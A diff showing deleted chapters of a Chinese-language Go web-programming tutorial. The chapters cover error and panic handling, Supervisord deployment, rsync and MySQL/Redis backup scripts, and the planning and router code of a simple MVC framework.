- HTTP错误这些错误是根据用户的请求出现的错误最常见的就是404错误。虽然可能会出现很多不同的错误但其中比较常见的错误还有401未授权错误(需要认证才能访问的资源)、403禁止错误(不允许用户访问的资源)和503错误(程序内部出错)。
- 操作系统出错:这类错误都是由于应用程序上的操作系统出现错误引起的,主要有操作系统的资源被分配完了,导致死机,还有操作系统的磁盘满了,导致无法写入,这样就会引起很多错误。
- 网络出错:指两方面的错误,一方面是用户请求应用程序的时候出现网络断开,这样就导致连接中断,这种错误不会造成应用程序的崩溃,但是会影响用户访问的效果;另一方面是应用程序读取其他网络上的数据,其他网络断开会导致读取失败,这种需要对应用程序做有效的测试,能够避免这类问题出现的情况下程序崩溃。
## 错误处理的目标
在实现错误处理之前,我们必须明确错误处理想要达到的目标是什么,错误处理系统应该完成以下工作:
- 通知访问用户出现错误了不论出现的是一个系统错误还是用户错误用户都应当知道Web应用出了问题用户的这次请求无法正确的完成了。例如对于用户的错误请求我们显示一个统一的错误页面(404.html)。出现系统错误时,我们通过自定义的错误页面显示系统暂时不可用之类的错误页面(error.html)。
- 记录错误系统出现错误一般就是我们调用函数的时候返回err不为nil的情况可以使用前面小节介绍的日志系统记录到日志文件。如果是一些致命错误则通过邮件通知系统管理员。一般404之类的错误不需要发送邮件只需要记录到日志系统。
- 回滚当前的请求操作:如果一个用户请求过程中出现了一个服务器错误,那么已完成的操作需要回滚。下面来看一个例子:一个系统将用户递交的表单保存到数据库,并将这个数据递交到一个第三方服务器,但是第三方服务器挂了,这就导致一个错误,那么先前存储到数据库的表单数据应该删除(应告知无效),而且应该通知用户系统出现错误了。
- 保证现有程序可运行可服务:我们知道没有人能保证程序一定能够一直正常的运行着,万一哪一天程序崩溃了,那么我们就需要记录错误,然后立刻让程序重新运行起来,让程序继续提供服务,然后再通知系统管理员,通过日志等找出问题。
## 如何处理错误
错误处理其实我们已经在十一章第一小节里面有过介绍如何设计错误处理,这里我们再从一个例子详细的讲解一下,如何来处理不同的错误:
- 通知用户出现错误:
通知用户在访问页面的时候我们可以有两种错误404.html和error.html下面分别显示了错误页面的源码
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>找不到页面</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>
<div class="container">
<div class="row">
<div class="span10">
<div class="hero-unit">
<h1>404!</h1>
<p>{{.ErrorInfo}}</p>
</div>
</div><!--/span-->
</div>
</div>
</body>
</html>
另一个源码:
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>系统错误页面</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>
<div class="container">
<div class="row">
<div class="span10">
<div class="hero-unit">
<h1>系统暂时不可用!</h1>
<p>{{.ErrorInfo}}</p>
</div>
</div><!--/span-->
</div>
</div>
</body>
</html>
404的错误处理逻辑如果是系统的错误也是类似的操作同时我们看到在
func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) {
if r.URL.Path == "/" {
sayhelloName(w, r)
return
}
NotFound404(w, r)
return
}
func NotFound404(w http.ResponseWriter, r *http.Request) {
log.Error("页面找不到") //记录错误日志
t, _ = t.ParseFiles("tmpl/404.html", nil) //解析模板文件
ErrorInfo := "文件找不到" //获取当前用户信息
t.Execute(w, ErrorInfo) //执行模板的merger操作
}
func SystemError(w http.ResponseWriter, r *http.Request) {
log.Critical("系统错误") //系统错误触发了Critical那么不仅会记录日志还会发送邮件
t, _ = t.ParseFiles("tmpl/error.html", nil) //解析模板文件
ErrorInfo := "系统暂时不可用" //获取当前用户信息
t.Execute(w, ErrorInfo) //执行模板的merger操作
}
## 如何处理异常
我们知道在很多其他语言中有try...catch关键词用来捕获异常情况但是其实很多错误都是可以预期发生的而不需要异常处理应该当做错误来处理这也是为什么Go语言采用了函数返回错误的设计这些函数不会panic例如如果一个文件找不到os.Open返回一个错误它不会panic如果你向一个中断的网络连接写数据net.Conn系列类型的Write函数返回一个错误它们不会panic。这些状态在这样的程序里都是可以预期的。你知道这些操作可能会失败因为设计者已经用返回错误清楚地表明了这一点。这就是上面所讲的可以预期发生的错误。
但是还有一种情况有一些操作几乎不可能失败而且在一些特定的情况下也没有办法返回错误也无法继续执行这样情况就应该panic。举个例子如果一个程序计算x[j]但是j越界了这部分代码就会导致panic像这样的一个不可预期严重错误就会引起panic在默认情况下它会杀掉进程它允许一个正在运行这部分代码的goroutine从发生错误的panic中恢复运行发生panic之后这部分代码后面的函数和代码都不会继续执行这是Go特意这样设计的因为要区别于错误和异常panic其实就是异常处理。如下代码我们期望通过uid来获取User中的username信息但是如果uid越界了就会抛出异常这个时候如果我们没有recover机制进程就会被杀死从而导致程序不可服务。因此为了程序的健壮性在一些地方需要建立recover机制。
func GetUser(uid int) (username string) {
defer func() {
if x := recover(); x != nil {
username = ""
}
}()
username = User[uid]
return
}
上面介绍了错误和异常的区别那么我们在开发程序的时候如何来设计呢规则很简单如果你定义的函数有可能失败它就应该返回一个错误。当我调用其他package的函数时如果这个函数实现的很好我不需要担心它会panic除非有真正的异常情况发生即使那样也不应该是我去处理它。而panic和recover是针对自己开发package里面实现的逻辑针对一些特殊情况来设计。
## 小结
本小节总结了当我们的Web应用部署之后如何处理各种错误网络错误、数据库错误、操作系统错误等当错误发生时我们的程序如何来正确处理显示友好的出错界面、回滚操作、记录日志、通知管理员等操作最后介绍了如何来正确处理错误和异常。一般的程序中错误和异常很容易混淆的但是在Go中错误和异常是有明显的区分所以告诉我们在程序设计中处理错误和异常应该遵循怎么样的原则。
## links
* [目录](<preface.md>)
* 上一章: [应用日志](<12.1.md>)
* 下一节: [应用部署](<12.3.md>)

View File

@@ -1,181 +0,0 @@
# 12.3 应用部署
程序开发完毕之后我们现在要部署Web应用程序了但是我们如何来部署这些应用程序呢因为Go程序编译之后是一个可执行文件编写过C程序的读者一定知道采用daemon就可以完美的实现程序后台持续运行但是目前Go还无法完美的实现daemon因此针对Go的应用程序部署我们可以利用第三方工具来管理第三方的工具有很多例如Supervisord、upstart、daemontools等这小节我介绍目前自己系统中采用的工具Supervisord。
## daemon
目前Go程序还不能实现daemon详细的见这个Go语言的bug<`http://code.google.com/p/go/issues/detail?id=227`>大概的意思说很难从现有的使用的线程中fork一个出来因为没有一种简单的方法来确保所有已经使用的线程的状态一致性问题。
但是我们可以看到很多网上的一些实现daemon的方法例如下面两种方式
- MarGo的一个实现思路使用Commond来执行自身的应用如果真想实现那么推荐这种方案
d := flag.Bool("d", false, "Whether or not to launch in the background(like a daemon)")
if *d {
cmd := exec.Command(os.Args[0],
"-close-fds",
"-addr", *addr,
"-call", *call,
)
serr, err := cmd.StderrPipe()
if err != nil {
log.Fatalln(err)
}
err = cmd.Start()
if err != nil {
log.Fatalln(err)
}
s, err := ioutil.ReadAll(serr)
s = bytes.TrimSpace(s)
if bytes.HasPrefix(s, []byte("addr: ")) {
fmt.Println(string(s))
cmd.Process.Release()
} else {
log.Printf("unexpected response from MarGo: `%s` error: `%v`\n", s, err)
cmd.Process.Kill()
}
}
- 另一种是利用syscall的方案但是这个方案并不完善
package main
import (
"log"
"os"
"syscall"
)
func daemon(nochdir, noclose int) int {
var ret, ret2 uintptr
var err uintptr
darwin := syscall.OS == "darwin"
// already a daemon
if syscall.Getppid() == 1 {
return 0
}
// fork off the parent process
ret, ret2, err = syscall.RawSyscall(syscall.SYS_FORK, 0, 0, 0)
if err != 0 {
return -1
}
// failure
if ret2 < 0 {
os.Exit(-1)
}
// handle exception for darwin
if darwin && ret2 == 1 {
ret = 0
}
// if we got a good PID, then we call exit the parent process.
if ret > 0 {
os.Exit(0)
}
/* Change the file mode mask */
_ = syscall.Umask(0)
// create a new SID for the child process
s_ret, s_errno := syscall.Setsid()
if s_errno != 0 {
log.Printf("Error: syscall.Setsid errno: %d", s_errno)
}
if s_ret < 0 {
return -1
}
if nochdir == 0 {
os.Chdir("/")
}
if noclose == 0 {
f, e := os.OpenFile("/dev/null", os.O_RDWR, 0)
if e == nil {
fd := f.Fd()
syscall.Dup2(fd, os.Stdin.Fd())
syscall.Dup2(fd, os.Stdout.Fd())
syscall.Dup2(fd, os.Stderr.Fd())
}
}
return 0
}
上面提出了两种实现Go的daemon方案但是我还是不推荐大家这样去实现因为官方还没有正式的宣布支持daemon当然第一种方案目前来看是比较可行的而且目前开源库skynet也在采用这个方案做daemon。
## Supervisord
上面已经介绍了Go目前是有两种方案来实现他的daemon但是官方本身还不支持这一块所以还是建议大家采用第三方成熟工具来管理我们的应用程序这里我给大家介绍一款目前使用比较广泛的进程管理软件Supervisord。Supervisord是用Python实现的一款非常实用的进程管理工具。supervisord会帮你把管理的应用程序转成daemon程序而且可以方便的通过命令开启、关闭、重启等操作而且它管理的进程一旦崩溃会自动重启这样就可以保证程序执行中断后的情况下有自我修复的功能。
>我前面在应用中踩过一个坑就是因为所有的应用程序都是由Supervisord父进程生出来的那么当你修改了操作系统的文件描述符之后别忘记重启Supervisord光重启下面的应用程序没用。当初我就是系统安装好之后就先装了Supervisord然后开始部署程序修改文件描述符重启程序以为文件描述符已经是100000了其实Supervisord这个时候还是默认的1024个导致他管理的进程所有的描述符也是1024.开放之后压力一上来系统就开始报文件描述符用光了,查了很久才找到这个坑。
### Supervisord安装
Supervisord可以通过`sudo easy_install supervisor`安装当然也可以通过Supervisord官网下载后解压并转到源码所在的文件夹下执行`setup.py install`来安装。
- 使用easy_install必须安装setuptools
打开`http://pypi.python.org/pypi/setuptools#files`根据你系统的python的版本下载相应的文件然后执行`sh setuptoolsxxxx.egg`这样就可以使用easy_install命令来安装Supervisord。
### Supervisord配置
Supervisord默认的配置文件路径为/etc/supervisord.conf通过文本编辑器修改这个文件下面是一个示例的配置文件
;/etc/supervisord.conf
[unix_http_server]
file = /var/run/supervisord.sock
chmod = 0777
chown= root:root
[inet_http_server]
# Web管理界面设定
port=9001
username = admin
password = yourpassword
[supervisorctl]
; 必须和'unix_http_server'里面的设定匹配
serverurl = unix:///var/run/supervisord.sock
[supervisord]
logfile=/var/log/supervisord/supervisord.log ; (main log file;default $CWD/supervisord.log)
logfile_maxbytes=50MB ; (max main logfile bytes b4 rotation;default 50MB)
logfile_backups=10 ; (num of main logfile rotation backups;default 10)
loglevel=info ; (log level;default info; others: debug,warn,trace)
pidfile=/var/run/supervisord.pid ; (supervisord pidfile;default supervisord.pid)
nodaemon=true ; (start in foreground if true;default false)
minfds=1024 ; (min. avail startup file descriptors;default 1024)
minprocs=200 ; (min. avail process descriptors;default 200)
user=root ; (default is current user, required if root)
childlogdir=/var/log/supervisord/ ; ('AUTO' child log dir, default $TEMP)
[rpcinterface:supervisor]
supervisor.rpcinterface_factory = supervisor.rpcinterface:make_main_rpcinterface
; 管理的单个进程的配置可以添加多个program
[program:blogdemon]
command=/data/blog/blogdemon
autostart = true
startsecs = 5
user = root
redirect_stderr = true
stdout_logfile = /var/log/supervisord/blogdemon.log
### Supervisord管理
Supervisord安装完成后有两个可用的命令行supervisor和supervisorctl命令使用解释如下
- supervisord初始启动Supervisord启动、管理配置中设置的进程。
- supervisorctl stop programxxx停止某一个进程(programxxx)programxxx为[program:blogdemon]里配置的值这个示例就是blogdemon。
- supervisorctl start programxxx启动某个进程
- supervisorctl restart programxxx重启某个进程
- supervisorctl stop all停止全部进程start、restart、stop都不会载入最新的配置文件。
- supervisorctl reload载入最新的配置文件并按新的配置启动、管理所有进程。
## 小结
这小节我们介绍了Go如何实现daemon化但是由于目前Go的daemon实现的不足需要依靠第三方工具来实现应用程序的daemon管理的方式所以在这里介绍了一个用python写的进程管理工具Supervisord通过Supervisord可以很方便的把我们的Go应用程序管理起来。
## links
* [目录](<preface.md>)
* 上一章: [网站错误处理](<12.2.md>)
* 下一节: [备份和恢复](<12.4.md>)

View File

@@ -1,174 +0,0 @@
# 12.4 备份和恢复
这小节我们要讨论应用程序管理的另一个方面:生产服务器上数据的备份和恢复。我们经常会遇到生产服务器的网络断了、硬盘坏了、操作系统崩溃、或者数据库不可用了等各种异常情况,所以维护人员需要对生产服务器上的应用和数据做好异地灾备,冷备热备的准备。在接下来的介绍中,讲解了如何备份应用、如何备份/恢复Mysql数据库和redis数据库。
## 应用备份
在大多数集群环境下Web应用程序基本不需要备份因为这个其实就是一个代码副本我们在本地开发环境中或者版本控制系统中已经保持这些代码。但是很多时候一些开发的站点需要用户来上传文件那么我们需要对这些用户上传的文件进行备份。目前其实有一种合适的做法就是把和网站相关的需要存储的文件存储到云储存这样即使系统崩溃只要我们的文件还在云存储上至少数据不会丢失。
如果我们没有采用云储存的情况下如何做到网站的备份呢这里我们介绍一个文件同步工具rsyncrsync能够实现网站的备份不同系统的文件的同步如果是windows的话需要windows版本cwrsync。
### rsync安装
rysnc的官方网站http://rsync.samba.org/ 可以从上面获取最新版本的源码。当然因为rsync是一款非常有用的软件所以很多Linux的发行版本都将它收录在内了。
软件包安装
# sudo apt-get install rsync 注在debian、ubuntu 等在线安装方法;
# yum install rsync 注Fedora、Redhat、CentOS 等在线安装方法;
# rpm -ivh rsync 注Fedora、Redhat、CentOS 等rpm包安装方法
其它Linux发行版请用相应的软件包管理方法来安装。源码包安装
tar xvf rsync-xxx.tar.gz
cd rsync-xxx
./configure --prefix=/usr ;make ;make install 注在用源码包编译安装之前您得安装gcc等编译工具才行
### rsync配置
rsync主要有以下三个配置文件rsyncd.conf(主配置文件)、rsyncd.secrets(密码文件)、rsyncd.motd(rysnc服务器信息)。
关于这几个文件的配置大家可以参考官方网站或者其他介绍rsync的网站下面介绍服务器端和客户端如何开启
- 服务端开启:
#/usr/bin/rsync --daemon --config=/etc/rsyncd.conf
--daemon参数方式是让rsync以服务器模式运行。把rsync加入开机启动
echo 'rsync --daemon' >> /etc/rc.d/rc.local
设置rsync密码
echo '你的用户名:你的密码' > /etc/rsyncd.secrets
chmod 600 /etc/rsyncd.secrets
- 客户端同步:
客户端可以通过如下命令同步服务器上的文件:
rsync -avzP --delete --password-file=rsyncd.secrets 用户名@192.168.145.5::www /var/rsync/backup
这条命令,简要的说明一下几个要点:
1. -avzP是啥读者可以使用--help查看
2. --delete 是为了比如A上删除了一个文件同步的时候B会自动删除相对应的文件
3. --password-file 客户端中/etc/rsyncd.secrets设置的密码要和服务端的 /etc/rsyncd.secrets 中的密码一样这样cron运行的时候就不需要密码了
4. 这条命令中的"用户名"为服务端的 /etc/rsyncd.secrets中的用户名
5. 这条命令中的 192.168.145.5 为服务端的IP地址
6. ::www注意是2个 : 号www为服务端的配置文件 /etc/rsyncd.conf 中的[www],意思是根据服务端上的/etc/rsyncd.conf来同步其中的[www]段内容,一个 : 号的时候,用于不根据配置文件,直接同步指定目录。
为了让同步实时性可以设置crontab保持rsync每分钟同步当然用户也可以根据文件的重要程度设置不同的同步频率。
## MySQL备份
应用数据库目前还是MySQL为主流目前MySQL的备份有两种方式热备份和冷备份热备份目前主要是采用master/slave方式master/slave方式的同步目前主要用于数据库读写分离也可以用于热备份数据关于如何配置这方面的资料大家可以找到很多。冷备份的话就是数据有一定的延迟但是可以保证该时间段之前的数据完整例如有些时候可能我们的误操作引起了数据的丢失那么master/slave模式是无法找回丢失数据的但是通过冷备份可以部分恢复数据。
冷备份一般使用shell脚本来实现定时备份数据库然后通过上面介绍rsync同步非本地机房的一台服务器。
下面这个是定时备份mysql的备份脚本我们使用了mysqldump程序这个命令可以把数据库导出到一个文件中。
#!/bin/bash
# 以下配置信息请自己修改
mysql_user="USER" #MySQL备份用户
mysql_password="PASSWORD" #MySQL备份用户的密码
mysql_host="localhost"
mysql_port="3306"
mysql_charset="utf8" #MySQL编码
backup_db_arr=("db1" "db2") #要备份的数据库名称,多个用空格分开隔开 如("db1" "db2" "db3")
backup_location=/var/www/mysql #备份数据存放位置,末尾请不要带"/",此项可以保持默认,程序会自动创建文件夹
expire_backup_delete="ON" #是否开启过期备份删除 ON为开启 OFF为关闭
expire_days=3 #过期时间天数 默认为三天此项只有在expire_backup_delete开启时有效
# 本行开始以下不需要修改
backup_time=`date +%Y%m%d%H%M` #定义备份详细时间
backup_Ymd=`date +%Y-%m-%d` #定义备份目录中的年月日时间
backup_3ago=`date -d '3 days ago' +%Y-%m-%d` #3天之前的日期
backup_dir=$backup_location/$backup_Ymd #备份文件夹全路径
welcome_msg="Welcome to use MySQL backup tools!" #欢迎语
# 判断MYSQL是否启动,mysql没有启动则备份退出
mysql_ps=`ps -ef |grep mysql |wc -l`
mysql_listen=`netstat -an |grep LISTEN |grep $mysql_port|wc -l`
if [ [$mysql_ps == 0] -o [$mysql_listen == 0] ]; then
echo "ERROR:MySQL is not running! backup stop!"
exit
else
echo $welcome_msg
fi
# 连接到mysql数据库无法连接则备份退出
mysql -h$mysql_host -P$mysql_port -u$mysql_user -p$mysql_password <<end
use mysql;
select host,user from user where user='root' and host='localhost';
exit
end
flag=`echo $?`
if [ $flag != "0" ]; then
echo "ERROR:Can't connect mysql server! backup stop!"
exit
else
echo "MySQL connect ok! Please wait......"
# 判断有没有定义备份的数据库,如果定义则开始备份,否则退出备份
if [ "$backup_db_arr" != "" ];then
#dbnames=$(cut -d ',' -f1-5 $backup_database)
#echo "arr is (${backup_db_arr[@]})"
for dbname in ${backup_db_arr[@]}
do
echo "database $dbname backup start..."
`mkdir -p $backup_dir`
`mysqldump -h$mysql_host -P$mysql_port -u$mysql_user -p$mysql_password $dbname --default-character-set=$mysql_charset | gzip > $backup_dir/$dbname-$backup_time.sql.gz`
flag=`echo $?`
if [ $flag == "0" ];then
echo "database $dbname success backup to $backup_dir/$dbname-$backup_time.sql.gz"
else
echo "database $dbname backup fail!"
fi
done
else
echo "ERROR:No database to backup! backup stop"
exit
fi
# 如果开启了删除过期备份,则进行删除操作
if [ "$expire_backup_delete" == "ON" -a "$backup_location" != "" ];then
#`find $backup_location/ -type d -o -type f -ctime +$expire_days -exec rm -rf {} \;`
`find $backup_location/ -type d -mtime +$expire_days | xargs rm -rf`
echo "Expired backup data delete complete!"
fi
echo "All database backup success! Thank you!"
exit
fi
修改shell脚本的属性
chmod 600 /root/mysql_backup.sh
chmod +x /root/mysql_backup.sh
设置好属性之后把命令加入crontab我们设置了每天00:00定时自动备份然后把备份的脚本目录/var/www/mysql设置为rsync同步目录。
00 00 * * * /root/mysql_backup.sh
## MySQL恢复
前面介绍MySQL备份分为热备份和冷备份热备份主要的目的是为了能够实时的恢复例如应用服务器出现了硬盘故障那么我们可以通过修改配置文件把数据库的读取和写入改成slave这样就可以尽量少时间的中断服务。
但是有时候我们需要通过冷备份的SQL来进行数据恢复既然有了数据库的备份就可以通过命令导入
mysql -u username -p databse < backup.sql
可以看到,导出和导入数据库数据都是相当简单,不过如果还需要管理权限,或者其他的一些字符集的设置的话,可能会稍微复杂一些,但是这些都是可以通过一些命令来完成的。
## redis备份
redis是目前我们使用最多的NoSQL它的备份也分为两种热备份和冷备份redis也支持master/slave模式所以我们的热备份可以通过这种方式实现相应的配置大家可以参考官方的文档配置相当的简单。我们这里介绍冷备份的方式redis其实会定时的把内存里面的缓存数据保存到数据库文件里面我们备份只要备份相应的文件就可以就是利用前面介绍的rsync备份到非本地机房就可以实现。
## redis恢复
redis的恢复分为热备份恢复和冷备份恢复热备份恢复的目的和方法同MySQL的恢复一样只要修改应用的相应的数据库连接即可。
但是有时候我们需要根据冷备份来恢复数据redis的冷备份恢复其实就是只要把保存的数据库文件copy到redis的工作目录然后启动redis就可以了redis在启动的时候会自动加载数据库文件到内存中启动的速度根据数据库的文件大小来决定。
## 小结
本小节介绍了我们的应用部分的备份和恢复即如何做好灾备包括文件的备份、数据库的备份。同时也介绍了使用rsync同步不同系统的文件MySQL数据库和redis数据库的备份和恢复希望通过本小节的介绍能够给作为开发的你对于线上产品的灾备方案提供一个参考方案。
## links
* [目录](<preface.md>)
* 上一章: [应用部署](<12.3.md>)
* 下一节: [小结](<12.5.md>)

View File

@@ -1,18 +0,0 @@
# 12.5 小结
本章讨论了如何部署和维护我们开发的Web应用相关的一些话题。这些内容非常重要要创建一个能够基于最小维护平滑运行的应用必须考虑这些问题。
具体而言,本章讨论的内容包括:
- 创建一个强健的日志系统,可以在出现问题时记录错误并且通知系统管理员
- 处理运行时可能出现的错误,包括记录日志,并如何友好的显示给用户系统出现了问题
- 处理404错误告诉用户请求的页面找不到
- 将应用部署到一个生产环境中(包括如何部署更新)
- 如何让部署的应用程序具有高可用
- 备份和恢复文件以及数据库
读完本章内容后对于从头开始开发一个Web应用需要考虑那些问题你应该已经有了全面的了解。本章内容将有助于你在实际环境中管理前面各章介绍开发的代码。
## links
* [目录](<preface.md>)
* 上一章: [备份和恢复](<12.4.md>)
* 下一节: [如何设计一个Web框架](<13.0.md>)

View File

@@ -1,12 +0,0 @@
# 13 如何设计一个Web框架
前面十二章介绍了如何通过Go来开发Web应用介绍了很多基础知识、开发工具和开发技巧那么我们这一章通过这些知识来实现一个简易的Web框架。通过Go语言来实现一个完整的框架设计这框架中主要内容有第一小节介绍的Web框架的结构规划例如采用MVC模式来进行开发程序的执行流程设计等内容第二小节介绍框架的第一个功能路由如何让访问的URL映射到相应的处理逻辑第三小节介绍处理逻辑如何设计一个公共的controller对象继承之后处理函数中如何处理response和request第四小节介绍框架的一些辅助功能例如日志处理、配置信息等第五小节介绍如何基于Web框架实现一个博客包括博文的发表、修改、删除、显示列表等操作。
通过这么一个完整的项目例子我期望能够让读者了解如何开发Web应用如何搭建自己的目录结构如何实现路由如何实现MVC模式等各方面的开发内容。在框架盛行的今天MVC也不再是神话。经常听到很多程序员讨论哪个框架好哪个框架不好 其实框架只是工具,没有好与不好,只有适合与不适合,适合自己的就是最好的,所以教会大家自己动手写框架,那么不同的需求都可以用自己的思路去实现。
## 目录
![](images/navi13.png?raw=true)
## links
* [目录](<preface.md>)
* 上一章: [第十二章总结](<12.5.md>)
* 下一节: [项目规划](<13.1.md>)

View File

@@ -1,53 +0,0 @@
# 13.1 项目规划
做任何事情都需要做好规划,那么我们在开发博客系统之前,同样需要做好项目的规划,如何设置目录结构,如何理解整个项目的流程图,当我们理解了应用的执行过程,那么接下来的设计编码就会变得相对容易了
## gopath以及项目设置
假设指定gopath是文件系统的普通目录名当然我们可以随便设置一个目录名然后将其路径存入GOPATH。前面介绍过GOPATH可以是多个目录在window系统设置环境变量在linux/MacOS系统只要输入终端命令`export gopath=/home/astaxie/gopath`但是必须保证gopath这个代码目录下面有三个目录pkg、bin、src。新建项目的源码放在src目录下面现在暂定我们的博客目录叫做beeblog下面是在window下的环境变量和目录结构的截图
![](images/13.1.gopath.png?raw=true)
图13.1 环境变量GOPATH设置
![](images/13.1.gopath2.png?raw=true)
图13.2 工作目录在$gopath/src下
## 应用程序流程图
博客系统是基于模型-视图-控制器这一设计模式的。MVC是一种将应用程序的逻辑层和表现层进行分离的结构方式。在实践中由于表现层从Go中分离了出来所以它允许你的网页中只包含很少的脚本。
- 模型 (Model) 代表数据结构。通常来说,模型类将包含取出、插入、更新数据库资料等这些功能。
- 视图 (View) 是展示给用户的信息的结构及样式。一个视图通常是一个网页但是在Go中一个视图也可以是一个页面片段如页头、页尾。它还可以是一个 RSS 页面或其它类型的“页面”Go实现的template包已经很好的实现了View层中的部分功能。
- 控制器 (Controller) 是模型、视图以及其他任何处理HTTP请求所必须的资源之间的中介并生成网页。
下图显示了项目设计中框架的数据流是如何贯穿整个系统:
![](images/13.1.flow.png?raw=true)
图13.3 框架的数据流
1. main.go作为应用入口初始化一些运行博客所需要的基本资源配置信息监听端口。
2. 路由功能检查HTTP请求根据URL以及method来确定谁(控制层)来处理请求的转发资源。
3. 如果缓存文件存在,它将绕过通常的流程执行,被直接发送给浏览器。
4. 安全检测应用程序控制器调用之前HTTP请求和任一用户提交的数据将被过滤。
5. 控制器装载模型、核心库、辅助函数,以及任何处理特定请求所需的其它资源,控制器主要负责处理业务逻辑。
6. 输出视图层中渲染好的即将发送到Web浏览器中的内容。如果开启缓存视图首先被缓存将用于以后的常规请求。
## 目录结构
根据上面的应用程序流程设计,博客的目录结构设计如下:
|——main.go 入口文件
|——conf 配置文件和处理模块
|——controllers 控制器入口
|——models 数据库处理模块
|——utils 辅助函数库
|——static 静态文件目录
|——views 视图库
## 框架设计
为了实现博客的快速搭建打算基于上面的流程设计开发一个最小化的框架框架包括路由功能、支持REST的控制器、自动化的模板渲染日志系统、配置管理等。
## 总结
本小节介绍了博客系统从设置GOPATH到目录建立这样的基础信息也简单介绍了框架结构采用的MVC模式博客系统中数据流的执行流程最后通过这些流程设计了博客系统的目录结构至此我们基本完成一个框架的搭建接下来的几个小节我们将会逐个实现。
## links
* [目录](<preface.md>)
* 上一章: [构建博客系统](<13.0.md>)
* 下一节: [自定义路由器设计](<13.2.md>)

View File

@@ -1,264 +0,0 @@
# 13.2 自定义路由器设计
## HTTP路由
HTTP路由组件负责将HTTP请求交到对应的函数处理(或者是一个struct的方法),如前面小节所描述的结构图,路由在框架中相当于一个事件处理器,而这个事件包括:
- 用户请求的路径(path)(例如:/user/123,/article/123),当然还有查询串信息(例如?id=11)
- HTTP的请求方法(method)(GET、POST、PUT、DELETE、PATCH等)
路由器就是根据用户请求的事件信息转发到相应的处理函数(控制层)。
## 默认的路由实现
在3.4小节有过介绍Go的http包的详解里面介绍了Go的http包如何设计和实现路由这里继续以一个例子来说明
func fooHandler(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path))
}
http.HandleFunc("/foo", fooHandler)
http.HandleFunc("/bar", func(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path))
})
log.Fatal(http.ListenAndServe(":8080", nil))
上面的例子调用了http默认的DefaultServeMux来添加路由需要提供两个参数第一个参数是希望用户访问此资源的URL路径(保存在r.URL.Path),第二参数是即将要执行的函数,以提供用户访问的资源。路由的思路主要集中在两点:
- 添加路由信息
- 根据用户请求转发到要执行的函数
Go默认的路由添加是通过函数`http.Handle`和`http.HandleFunc`等来添加,底层都是调用了`DefaultServeMux.Handle(pattern string, handler Handler)`,这个函数会把路由信息存储在一个map信息中`map[string]muxEntry`,这就解决了上面说的第一点。
Go监听端口然后接收到tcp连接会扔给Handler来处理上面的例子默认nil即为`http.DefaultServeMux`,通过`DefaultServeMux.ServeHTTP`函数来进行调度遍历之前存储的map路由信息和用户访问的URL进行匹配以查询对应注册的处理函数这样就实现了上面所说的第二点。
for k, v := range mux.m {
if !pathMatch(k, path) {
continue
}
if h == nil || len(k) > n {
n = len(k)
h = v.h
}
}
## beego框架路由实现
目前几乎所有的Web应用路由实现都是基于http默认的路由器但是Go自带的路由器有几个限制
- 不支持参数设定,例如/user/:uid 这种泛类型匹配
- 无法很好的支持REST模式无法限制访问的方法例如上面的例子中用户访问/foo可以用GET、POST、DELETE、HEAD等方式访问
- 一般网站的路由规则太多了编写繁琐。我前面自己开发了一个API应用路由规则有三十几条这种路由多了之后其实可以进一步简化通过struct的方法进行一种简化
beego框架的路由器基于上面的几点限制考虑设计了一种REST方式的路由实现路由设计也是基于上面Go默认设计的两点来考虑存储路由和转发路由
### 存储路由
针对前面所说的限制点我们首先要解决参数支持就需要用到正则第二和第三点我们通过一种变通的方法来解决REST的方法对应到struct的方法中去然后路由到struct而不是函数这样在转发路由的时候就可以根据method来执行不同的方法。
根据上面的思路我们设计了两个数据类型controllerInfo(保存路径和对应的struct这里是一个reflect.Type类型)和ControllerRegistor(routers是一个slice用来保存用户添加的路由信息以及beego框架的应用信息)
type controllerInfo struct {
regex *regexp.Regexp
params map[int]string
controllerType reflect.Type
}
type ControllerRegistor struct {
routers []*controllerInfo
Application *App
}
ControllerRegistor对外的接口函数有
func (p *ControllerRegistor) Add(pattern string, c ControllerInterface)
详细的实现如下所示:
func (p *ControllerRegistor) Add(pattern string, c ControllerInterface) {
parts := strings.Split(pattern, "/")
j := 0
params := make(map[int]string)
for i, part := range parts {
if strings.HasPrefix(part, ":") {
expr := "([^/]+)"
//a user may choose to override the defult expression
// similar to expressjs: /user/:id([0-9]+)
if index := strings.Index(part, "("); index != -1 {
expr = part[index:]
part = part[:index]
}
params[j] = part
parts[i] = expr
j++
}
}
//recreate the url pattern, with parameters replaced
//by regular expressions. then compile the regex
pattern = strings.Join(parts, "/")
regex, regexErr := regexp.Compile(pattern)
if regexErr != nil {
//TODO add error handling here to avoid panic
panic(regexErr)
return
}
//now create the Route
t := reflect.Indirect(reflect.ValueOf(c)).Type()
route := &controllerInfo{}
route.regex = regex
route.params = params
route.controllerType = t
p.routers = append(p.routers, route)
}
### 静态路由实现
上面我们实现的动态路由的实现Go的http包默认支持静态文件处理FileServer由于我们实现了自定义的路由器那么静态文件也需要自己设定beego的静态文件夹路径保存在全局变量StaticDir中StaticDir是一个map类型实现如下
func (app *App) SetStaticPath(url string, path string) *App {
StaticDir[url] = path
return app
}
应用中设置静态路径可以使用如下方式实现:
beego.SetStaticPath("/img","/static/img")
### 转发路由
转发路由是基于ControllerRegistor里的路由信息来进行转发的详细的实现如下代码所示
// AutoRoute
func (p *ControllerRegistor) ServeHTTP(w http.ResponseWriter, r *http.Request) {
defer func() {
if err := recover(); err != nil {
if !RecoverPanic {
// go back to panic
panic(err)
} else {
Critical("Handler crashed with error", err)
for i := 1; ; i += 1 {
_, file, line, ok := runtime.Caller(i)
if !ok {
break
}
Critical(file, line)
}
}
}
}()
var started bool
for prefix, staticDir := range StaticDir {
if strings.HasPrefix(r.URL.Path, prefix) {
file := staticDir + r.URL.Path[len(prefix):]
http.ServeFile(w, r, file)
started = true
return
}
}
requestPath := r.URL.Path
//find a matching Route
for _, route := range p.routers {
//check if Route pattern matches url
if !route.regex.MatchString(requestPath) {
continue
}
//get submatches (params)
matches := route.regex.FindStringSubmatch(requestPath)
